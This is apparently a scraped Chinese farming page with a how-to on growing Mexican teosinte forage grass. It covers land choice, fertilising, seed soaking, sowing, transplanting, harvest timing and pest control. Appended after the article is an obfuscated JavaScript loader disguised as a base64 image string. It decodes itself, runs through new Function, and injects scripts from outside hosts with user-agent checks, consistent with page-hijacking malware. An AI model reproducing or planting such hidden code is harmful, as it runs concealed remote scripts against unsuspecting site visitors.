推荐回答(1个)
墨西哥玉米草优12,原产墨西哥。叶片宽大肥厚、脆嫩光洁、味甜多汁,营养丰富,消化率高;生长期长,产量高;耐酸、耐肥、耐热,是饲养奶牛、肉牛、羊、兔、鱼、猪的上佳青饲料。上杭县2008年引进种植墨西哥玉米草优12,表现喜温耐肥,适应性强,根系发达,茎秆粗壮,分蘖(枝)和再生力强。一年可收割鲜茎叶7~10次,鲜草总产量15t~36t/667m2。现就墨西哥玉米草优12无公害栽培技术概述如下:
1 选地
在养殖场周边选择无工业三废、养殖业和生活废水污染的地块,远离医院、矿山,有充足清洁水源并有机耕道的农地或缓坡地作为玉米草种植基地,四周采用围栏保护更佳。
2 精细整地,适施基肥
大田直播的,播种前7~10d清除田间杂草、土壤耕犁晒白,深耕20 cm以上;播种前2~3天按畦宽130~150 cm、畦高25~30 cm、畦沟宽30~40 cm整畦,整畦宜做到床土细碎,畦面平整,畦沟通畅。整畦时施500~800kg/667m2(下同)腐熟农家肥、配氮磷钾含量为16-16-16的硫酸钾复合肥20~30kg撒施做基肥,肥土充分混和;忌过量施用化肥,忌用尿素或碳酸氢铵做基肥。育苗移栽的,按苗地面积与大田面积1∶3.5~4.5的比例,选择管理方便的肥沃地块做苗地;先除草后耕地,有条件的可于耕犁整畦前,地表铺15~20 cm干杂草或芒箕充分焚烧后耕犁,以改善土壤肥力减少杂草滋生;耕犁后整畦时施200~300kg/667m2(下同)过筛腐熟农家肥或沼渣,配磷酸二铵15~20kg作苗地基肥;整畦成畦宽120~135cm、高25~30cm,沟宽30~40cm,畦面铺2~3cm厚过筛细黄泥待播。整好畦后灌溉或浇水并保持苗床土湿润为宜。
3 浸种催芽
3.1 晒种
于播种前3~5d天选晴天薄摊种子暴晒1~2d,同时剔除其中受病虫为害和细小籽粒,常温储存1~2d后浸种。
3.2 浸种催芽
种子用25~30℃清水浸泡6~8h小时后洗净,置于0.1%~0.15%高锰酸钾稀释液中浸12h小时取出,再置于25~30℃温湿环境中催芽。催芽时避免温度过高和干燥,注意通风换气。忌用沾染米酒或其它酒类的水和物品浸淋、包裹催芽种子。种子催芽至露白即可播种。
4 播种
大田直播的,待春季气温回升稳定通过17℃时播种,在畦面以30~35 cm沟距开横沟,沟深5~7cm;或按株行距30cm×40cm开穴(穴深5cm)点播,每穴播2~3粒种子,3300~4500穴/667m2,播种量0.95~1.2 kg/667m2,播种后盖2 cm左右厚细土以不露种子为度,再覆盖2~3cm厚干稻草。育苗移栽的,可适当早播,早春气温回升稳定通过12℃期即可播种,播种量3.5~4.5 kg/667m2,采用撒播,均匀播种后盖细土、灌水或洒水维持床土湿润,薄膜拱棚覆盖保温育苗,按晴开雨遮暖开冷盖、日开夜遮的原则、开两头或全开方式揭膜炼苗。
5 巧施苗肥
一般播种后5~7d出苗,幼苗2.1~2.5叶龄时期选晴天采用1∶5沼液稀释液加0.5%尿素液肥浇施,或采用0.5%尿素液加1%~2%腐熟人尿液洒施,之后隔7~10d结合中耕除草和浇水采用1∶5沼液稀释液加 5g /L磷酸二铵薄施提苗肥。苗床施肥一般采用稀释液肥,不提倡化肥干施,苗期禁止采用化学除草剂防治杂草。
6 适时移栽,合理密植
幼苗5.1~5.3叶龄期(播种后40~50d)为移栽适期,亦可在幼苗3.3~3.7叶龄期移栽(播种后25~30d),移栽前一天浇水湿透床土,当天起苗当天栽种、带土移栽。移栽按株行距25~30cm×55~65cm开穴,穴深8~10cm,每穴种植1株幼苗,覆土至茎基轻微上提幼苗后压实,种植密度以3000~3300株/667m2为宜。
7 建立室内档案和田间标牌
室内档案和田间标记是安全采收和喂养的唯一保证,室内档案应记载栽培管理全部农事活动和气候环境变化等内容,施药施肥应做田间标牌标记。
8 采收期管理
8.1 适期收割
采用直播的,幼苗6.1~7.1叶龄(苗高50 cm左右)期,选晴天10:00′以后、16:30′以前于植株分蘖(枝)点上方1~2 cm处开镰割取嫩叶;育苗移栽的,待苗高120~150 cm、主茎长有15~18片叶时开镰收割,之后每隔25~30d采收一茬,亦可按主茎新生长6~8片叶、株高130 cm左右时收割,逐次提高开镰割叶位点,利于再生和分蘖(枝)快生多生。每次收割,应先察看核对室内档案和田间标牌标记后再开镰。
8.2 科学施肥
每茬收割完后及时中耕除草,选用磷酸二氨或尿素5~8kg、磷酸二氢钾0.5~1 .0kg 兑水500~800 kg浇施(亦可选择降雨后土壤充分湿润期14:30′~16:30′无露水时撒施)。一般提倡施液肥,有喷(滴)灌条件的结合喷(滴)灌施肥。收割前5~7d禁止施肥。
8.3 适度灌溉
灌溉一般以土壤湿润、植株生长茂盛、叶尖早晚有露水为度。土壤干燥可灌跑马水,不具备自流水灌溉的采用浇灌,有条件的可喷(滴)灌。高温时期不可正午灌溉,收割前2~3d限制灌水。
8.4 虫害防治
墨西哥玉米草的主要虫害有蚜虫、螨类、玉米螟(生长后期)、蝗虫等,应以农业防治、生物防治和物理防治为主,化学防治宜选用高效低毒低残留无二次中毒的农药,最大限度地减少农药的施用量和次数,收割前10~15d禁止施药。 中国有机农业网cnoa360.com
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();